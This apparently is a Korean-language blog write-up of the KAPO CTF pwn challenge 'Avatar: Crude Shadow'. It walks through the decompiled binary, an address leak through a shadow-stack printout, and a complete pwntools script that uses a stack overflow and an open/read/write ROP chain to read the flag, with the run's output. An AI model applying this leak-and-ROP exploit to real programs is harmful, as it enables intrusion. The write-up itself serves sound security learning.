콘텐츠로 건너뛰기

Avatar: Crude Shadow

해당 문제는 KAPO CTF 에 출제된 문제입니다.

Description

Solved by two people together, but one monitor, one keyboard, each.
Might be better if done alone!

FYI

  1. flag length = 33
  2. timeout = 20s

checksec

seo@seo-virtual-machine:~/Desktop/Avatar_Crude_Shadow$ checksec ./avatar
[*] '/home/seo/Desktop/Avatar_Crude_Shadow/avatar'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

SSP 보호기법이 적용되어있지 않다.


Decompiled-src

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+2Ch] [rbp-B4h] BYREF
  char v5[80]; // [rsp+30h] [rbp-B0h] BYREF
  char buf[88]; // [rsp+80h] [rbp-60h] BYREF
  unsigned int v7; // [rsp+D8h] [rbp-8h] BYREF
  int v8; // [rsp+DCh] [rbp-4h]

  v7 = 0;
  push_shadow(&v7, v5);
  setup();
  init_seccomp();
  puts("shadow test");
  v8 = 0;
  do
  {
    menu();
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        print_shadow(v7, v5);
        break;
      case 2:
        puts("string input:");
        read(0, buf, 0x400uLL);
        break;
      case 3:
        nested_func(&v7, v5);
        break;
      case 4:
        puts("lol you can't");
        break;
      case 5:
        v8 = 1;
        break;
      default:
        puts("nono");
        break;
    }
  }
  while ( !v8 );
  print_shadow(v7, v5);
  pop_shadow(&v7, v5);
  return 0;
}

init_seccomp

다음 시스템 콜만 허용하고 있다.

  • sys_rt_sigreturn
  • sys_exit
  • sys_exit_group
  • sys_read
  • sys_write
  • sys_open
  • sys_openat

print_shadow

int __fastcall print_shadow(unsigned int a1, __int64 a2)
{
  int i; // [rsp+1Ch] [rbp-4h]

  puts("current shadow:");
  for ( i = 0; i < (int)a1; ++i )
    printf("%p\n", *(const void **)(8LL * i + a2));
  return printf("Total of %d\n", a1);
}

nested_func

__int64 __fastcall nested_func(unsigned int *a1, __int64 a2)
{
  int v3; // [rsp+18h] [rbp-8h] BYREF
  int v4; // [rsp+1Ch] [rbp-4h]

  push_shadow(a1, a2);
  v4 = 0;
  puts("nested function");
  do
  {
    nested_menu();
    __isoc99_scanf("%d", &v3);
    if ( v3 == 1 )
    {
      print_shadow(*a1, a2);
    }
    else if ( v3 == 2 )
    {
      v4 = 1;
    }
    else
    {
      puts("nono");
    }
  }
  while ( !v4 );
  return pop_shadow(a1, a2);
}

int nested_menu()
{
  puts("1. print shadows");
  return puts("2. exit");
}

__int64 __fastcall push_shadow(_DWORD *a1, __int64 a2)
{
  int v2; // eax
  __int64 v3; // rdx
  __int64 result; // rax
  __int64 vars0; // [rsp+10h] [rbp+0h]

  v2 = (*a1)++;
  v3 = 8LL * v2;
  result = *(_QWORD *)(vars0 + 8);
  *(_QWORD *)(a2 + v3) = result;
  return result;
}

__int64 __fastcall pop_shadow(int *a1, __int64 a2)
{
  __int64 result; // rax
  __int64 vars0; // [rsp+10h] [rbp+0h]

  --*a1;
  result = *(_QWORD *)(vars0 + 8);
  if ( *(_QWORD *)(8LL * *a1 + a2) != result )
  {
    puts("wrong shadow, abort");
    exit(-1);
  }
  return result;
}

print_shadow

int __fastcall print_shadow(unsigned int a1, __int64 a2)
{
  int i; // [rsp+1Ch] [rbp-4h]

  puts("current shadow:");
  for ( i = 0; i < (int)a1; ++i )
    printf("%p\n", *(const void **)(8LL * i + a2));
  return printf("Total of %d\n", a1);
}

Solution

초기에 “3 .enter nested func” -> “1. print shadows”로 진입하면, 두 메모리 주소가 노출되는 것을 확인할 수 있다.

노출된 1번째 주소는 0x7ffff7c29d90으로, libc.so.6 범위에 속해있다.

노출된 2번째 주소는 0x555555555782로, avatar 바이너리 주소 범위에 속한다.

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./avatar", env={'LD_PRELOAD':'./libc.so.6'})
e = ELF('./avatar', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

p.sendlineafter("5. exit\n", b"3")
p.sendlineafter("2. exit\n", b"1")
p.recvuntil("current shadow:\n")
current_shadow_1 = p.recvline().replace(b"\n", b"")
current_shadow_1 = int(current_shadow_1.decode('utf-8'), 16)
current_shadow_2 = p.recvline().replace(b"\n", b"")
current_shadow_2 = int(current_shadow_2.decode('utf-8'), 16)
print(f"current_shadow_1: {hex(current_shadow_1)}")
print(f"current_shadow_2: {hex(current_shadow_2)}")
libc_base = current_shadow_1 - 0x29d90
print(f"libc_base: {hex(libc_base)}")
bin_base = current_shadow_2 - 0x1782
print(f"bin_base: {hex(bin_base)}")
p.sendlineafter("2. exit\n", b"2")

pause()

이렇게 노출된 주소를 통해 각각의 base 주소를 구할 수 있다.

solve.py

스택 간의 거리와 값 잘 계산해서 pop_shadow에서 종료되지 않게끔 만들어야 하며,
bof를 통해 rop문으로 open, read, write 함수만으로 flag를 읽히게 만들면 된다.

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./avatar", env={'LD_PRELOAD':'./libc.so.6'})
#p = remote("host3.dreamhack.games", 21158)
e = ELF('./avatar', checksec=False)
libc = ELF('./libc.so.6', checksec=False)  #server

p.sendlineafter("5. exit\n", b"3")
p.sendlineafter("2. exit\n", b"1")
p.recvuntil("current shadow:\n")
current_shadow_1 = p.recvline().replace(b"\n", b"")
current_shadow_1 = int(current_shadow_1.decode('utf-8'), 16)
current_shadow_2 = p.recvline().replace(b"\n", b"")
current_shadow_2 = int(current_shadow_2.decode('utf-8'), 16)
print(f"current_shadow_1: {hex(current_shadow_1)}")
print(f"current_shadow_2: {hex(current_shadow_2)}")
libc_base = current_shadow_1 - 0x29d90
print(f"libc_base: {hex(libc_base)}")
bin_base = current_shadow_2 - 0x1782
print(f"bin_base: {hex(bin_base)}")
p.sendlineafter("2. exit\n", b"2")

p.sendlineafter("5. exit\n", b"2")

pop_rdi_ret = libc_base + 0x2a3e5
pop_rsi_ret = libc_base + 0x2be51
pop_rdx_pop_r12_ret = libc_base + 0x11F497

payload = p64(pop_rdi_ret)
payload += b"A"*0x50
payload += p32(11)
payload += b"C"*0x4
payload += b"D"*0x8

#read(0, e.bss() + bin_base + 0x300, 200)
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_ret)
payload += p64(e.bss() + bin_base + 0x300)
payload += p64(pop_rdx_pop_r12_ret)
payload += p64(200)
payload += p64(0)
payload += p64(libc_base + libc.symbols['read'])

#open(e.bss() + bin_base + 0x300, O_RDONLY, 0)
payload += p64(pop_rdi_ret)
payload += p64(e.bss() + bin_base + 0x300)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_pop_r12_ret)
payload += p64(0)
payload += p64(0)
payload += p64(libc_base + libc.symbols['open'])

#read(0, e.bss() + bin_base + 0x300, 200)
payload += p64(pop_rdi_ret)
payload += p64(3)
payload += p64(pop_rsi_ret)
payload += p64(e.bss() + bin_base + 0x300)
payload += p64(pop_rdx_pop_r12_ret)
payload += p64(200)
payload += p64(0)
payload += p64(libc_base + libc.symbols['read'])

#write(stdout, e.bss() + bin_base + 0x1000, 33)
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_ret)
payload += p64(e.bss() + bin_base + 0x300)
payload += p64(pop_rdx_pop_r12_ret)
payload += p64(33)
payload += p64(0)
payload += p64(libc_base + libc.symbols['write'])

p.sendlineafter("string input:", payload)
p.sendline(b'./flag\x00')

p.interactive()

Result

seo@seo-virtual-machine:~/Desktop/Avatar_Crude_Shadow$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 9618: Done
current_shadow_1: 0x7f8aa317cd90
current_shadow_2: 0x55f8c0886782
libc_base: 0x7f8aa3153000
bin_base: 0x55f8c0885000
[*] Switching to interactive mode

current shadow:
0x7f8aa317cd90
0x55f8c0886782
(nil)
(nil)
(nil)
0x7f8aa33c0900
0xd
0x1
0x1
0x1
0x7f8aa317d3e5
Total of 11
POKA{150_PLUS_ISO_T0T4L_300_HE4D}[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 9618
태그:

답글 남기기